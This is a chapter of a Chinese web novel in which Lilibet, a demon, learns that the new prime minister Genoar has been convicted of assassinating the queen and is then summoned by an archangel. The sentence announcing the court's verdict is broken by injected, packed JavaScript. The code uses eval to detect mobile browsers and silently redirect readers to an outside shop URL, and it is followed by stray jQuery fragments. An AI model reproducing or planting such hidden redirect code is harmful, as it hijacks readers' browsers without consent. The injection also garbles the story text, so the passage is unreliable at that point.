时间一眨眼过去了三个月,漫长的隆冬后,春天悄悄在花园里发芽。

    开春后的第一个晴朗日,杰诺尔在万众瞩目之下成为了英国的下一任首相,他的名字传遍了这个国家的每一个角落,所有人都期盼着一个年轻的首相能够为这个国家注入新的生机。

    只有莉莉贝特比所有人都要清楚他在这背后究竟付出了多少努力,那盏伯爵书房的灯,整晚整晚地亮着,彻夜不息。

    莉莉贝特这一次没有选择去观看仪式,她更想等着杰诺尔来找自己。这三个月以来她一直都想问的一些问题,每次在看见他眼角下的乌青之后,她就什么都问不出来了。

    但现在可以了。

    她从白天一直等到深夜,杰诺尔仍然没有回来,倒是小亨利独自一人驾着马车,带回了一个空荡荡的车厢。

    她眉头微蹙,忍不住问,“杰诺尔呢?”

    小亨利明显愣了一下,嘴里支支吾吾的说,“伯爵今晚得与女王共进晚餐,让您早点睡,不用等他。”

    和女王吃饭至于大半夜的不回来吗?莉莉贝特呵呵……这是躲着她呢。

    她用魔法遁着对方痕迹一路找过去,最终在伦敦河边,一处沙滩周围发现了他。

    他蹲坐在泰晤士河河畔一块大石头上,失神地望着远处的星空与灯火。

    这些日子,他似乎也憔悴了不少,原本那样张扬的红发现在也像个鸡窝头似的,毛被炸得到处都是。

    听见周围有脚步声他也没回头,暗暗捡起旁边一块小石头,百无聊赖的朝着河面扔了过去。

    等到莉莉贝特与他之间的距离差不多了他才慢慢开口,没有多余的闲聊与唠嗑,也没有掺杂任何多余情感,像是在汇报工作。

    “我今天将废除夫妻一体制的提案交上去了,中间的审核流程也已经买通关系。不出意外的话,再过几个月这条制度就能真正得到废除了。”说着说着有些沮丧,“但她们与这些不公的斗争,还有很长一段路。”

    可在莉莉贝特听来,这本该是好事,是不应该感到难过的。她故意伸手摸了把杰诺尔的红发,带着几分安慰与讨好,“不是有你吗?”

    他按住莉莉贝特的手,侧仰着头,用更加哀伤的口吻说,“我应该只能陪她们走到这里了。”

    “什么意思?”一股凉意浸透莉莉贝特全身,连对方抓着她的手腕都忘了挣脱。

    “没什么,我只是想说这种涉及改革的大事,还是得大家一起努力。”

    他显然在打马虎眼,莉莉贝特根本不信。恶魔小姐刚想追问,他立马意识到了什么突然打断,问出了一个让她完全摸不着头脑的问题。

    “卡珊德拉的那条白色礼裙,你喜欢吗?”

    他不说,连莉莉贝特自己都快忘了手里还有那条裙子的存在,她实在是想不通捷诺尔究竟是通过什么渠道知道的。

    “你怎么知道?”她瞪大双眼。

    杰诺尔望着平静的河面,“我特地让裁缝小姐用得最好的布料,最好的蕾丝和珍珠。那个姑娘傻傻的想给我一个惊喜,她拿出了自己攒了好久的钱,加起来总共也就一千多金币,连做个裙摆都不够。”

    他背对着莉莉贝特,但她想,他脸上的表情一定是温柔的,“她真的很不会撒谎,笨笨的,一点都瞒不住秘密。于是我找到裁缝小姐,我告诉她,要用最好的,无论花多少钱都可以,只要她喜欢。”青年的轮廓映在水波里,随粼粼灯火一点点朦胧,融进沉沉夜色之中。

    莉莉贝特突然心里空落落的,像是缺失了一块,突然想哭又哭不出来,只能强装镇定说,“现在那条裙子在我这儿,你要把它拿走吗?”然后也不管杰诺尔有没有回答,她抢着说,“我现在就去取,我马上回来,你就在古堡等我,我把裙子还给你。”

    他不知何时回了头,凝视着莉莉贝特逃离的背影,眼眶里闪烁着泪花。

    “对不起,莉莉贝特,是我骗了你。”

    莉莉贝特此刻已经连夜跑去了比阿特丽斯的庄园,在自己长期住的那个房间里不停的翻找着。

    在哪里,究竟在哪里?

    比阿特丽斯打着哈欠倚在门框上,窗外的月亮正在下落,困意袭来,本着打听自己能不能帮上忙的想法,她忍不住问,“莉莉贝特,你在找什么?”

    她刚刚翻完了衣柜,此时正两只眼睛像是探照灯似的,对着床底下仔细打量,“比阿特丽斯,你还记得裁缝店的安妮小姐吗?我在她那里拿了一条裙子,你有看见那条裙子吗?”

    “裙子?”比阿特丽斯摸着头,“衣柜里没有吗?”

    “没有,找不到,究竟会在哪里?”她急得满头大汗,心里头总有一种特别的感觉,就好像失去了这条裙子就会失去什么重要的东西。

    “你说……”比阿特丽斯忽然神神秘秘的,蹲下身来,望着她手里的动作说,“会不会是杰诺尔伯爵拿走了,不然他为什么一定要住进我家,还要住在你房间隔壁,事实上又没住几天。”

    莉莉贝特恍然大悟。

    “可是他拿你裙子做什么?难不成拿回家供起来,祭奠他的前女友?”

    莉莉贝特低下头,死死咬住了下唇。

    今夜她再也没有睡着过,呆呆的躺在床上,脑子里全是比阿特丽斯最后说的那句话。

    翌日清晨,她坐在餐桌上吃早餐的时候两只眼睛都是红红的,像是哭过一样。

    “怎么了?莉莉贝特。”比阿特丽斯都不敢大声说话,想安慰什么又无从下手,她根本不知道发生了什么。

    莉莉贝特用刀叉将盘子里的面包盘得稀碎,表情都已经失落成那样,嘴上还要轻飘飘的说,“没什么,只是没睡好。”

    等她又把一盘面包切的粉碎,“小姐,小姐……”外出采买的女仆发了疯似的冲了回来。

    比阿特丽斯赶忙安抚,“发生什么了?你先别着急,好好说。”

    “昨天晚上,昨天晚上……”女仆跑得气喘吁吁,“女王昨晚被暗杀了,嫌疑人是新首相,他和女王昨晚一起吃了饭。”

    “什么?”莉莉贝特手里的刀叉,“啪嗒”掉回了盘子里。

    庞大的帝国在一夜之间陷入了动荡,女王不治身亡,杰诺尔锒铛入狱。被赶鸭子上架推上王位的是瓦妮莎公主,她终于如愿以偿得到了自己想要的王位。

    议会以非常时期议会不能没有首相为理由,力排众难推举了一个意想不到的人登上首相之位——前王夫,亚里达古·费格斯。

    这次的案子审理得很快,刺杀事件发生后的第三天,法院公布

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17810763|203463||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    了判决结果,“杰诺尔故意杀人罪,成立。”

    莉莉贝特在判决结果宣布的当晚回到了索恩古堡,这里又变回了原来的样子,即使没有了四周的大树,头顶的天空也总是像压着一层沉沉的黑云,无数灰蒙蒙的雾将其笼罩,隐约可见头顶飞过的渡鸦。

    之所以她会来到这里,是因为她在中午的时候收到了一封信,信封是最普通的样式,但信纸却十分特别,这居然是神圣的白羽制成,就连上面的字都是金色的,没有一丝尘埃,充斥着令人恶魔讨厌的神圣气息。

    这封信来自天使,寄给了她一只恶魔。即使是对方单方面约定,她也没有理由不赴约。

    古堡幽暗,每走一步她都能听到脚底传来沙沙的声音,力道却不像是踩在树叶上,就像是踩在一些碎骨头上,让人头皮发麻。

    古堡仿佛比她第一次来时陈旧了好几年,空气里满是浓烈的霉味,玛丽和亨利也不见踪影。

    抬望围墙外面,迷雾中一个个圆圆的小土包若隐若现,像是一道道坟墓,一个个鬼魂,痴痴的守着这里。

    太奇怪了,为什么一夜之间古堡变成这样?

    她忍不住搓搓手臂,一摸上面全是密密麻麻的鸡皮疙瘩。

    古堡的大门紧闭,她顶着一身的寒意好不容易走到门口,正准备推门,大门缓缓打开了。

    有个人站在大厅里那幅卡珊德拉画像前,他背对着莉莉贝特,身形高挺一袭白衣,全身像是在发着光。玫瑰色的红发直达后腰,他的周围笼罩着一圈淡淡的轮廓当,他站在那里的时候,全世界不会有比他更耀眼的东西。

    就算是一个背影,莉莉贝特也认出来了。她曾经在画册上见到过他,他是天国的大天使长,陛下的老朋友。

    “大天使长大人。”

    虽身为恶魔,对待长辈的态度该礼貌还是得礼貌,以免挑起双方不该有的争端。

    他很快回头,露出一张英俊的脸,水蓝色的眼睛扫过莉莉贝特,轻声温柔地说,“莉莉贝特,上帝的宠儿,按照约定,我来接你。”

    “接我?”莉莉贝特百思不解,她实在是不明白她一个恶魔,为什么米迦勒要来接他。

    大天使长颔首,清冷的面庞没有一丝褶皱,“我就是来接你的,你是我主的信徒,天国的子民。勇敢且坚韧、心地善良,没有理由堕入地狱。”

    “我不去,我不想去天国。”她意识到什么,后退两步,转头往大门跑去,这时门啪的关上了,差一点就撞到了她的额头。

    “以前的你是天主最忠诚的信徒,是他最神圣的修女,以前的你做梦都想进入天国。”

    “我不是!!”莉莉贝特不明白他说的是谁,心里一阵刺痛,赶忙否认。

    “莉莉贝特,是他带给了你堕落,也是他保留了你最纯粹的灵魂。”

    “他是谁?”莉莉贝特察觉到自己的双手正在颤抖。

    米迦勒垂下长长的眼睫毛,没有正面回答,“莉莉贝特,我会尊重你的决定,但我希望你的决定是经过深思熟虑之后的。”

    他说完,门再次开了,莉莉贝特拼了命似的冲了出去,米迦勒的嗓音还在身后追着。

    “去监狱吧,去见见他最真实的样子,去见见你们的过往,然后再告诉我你的答案。”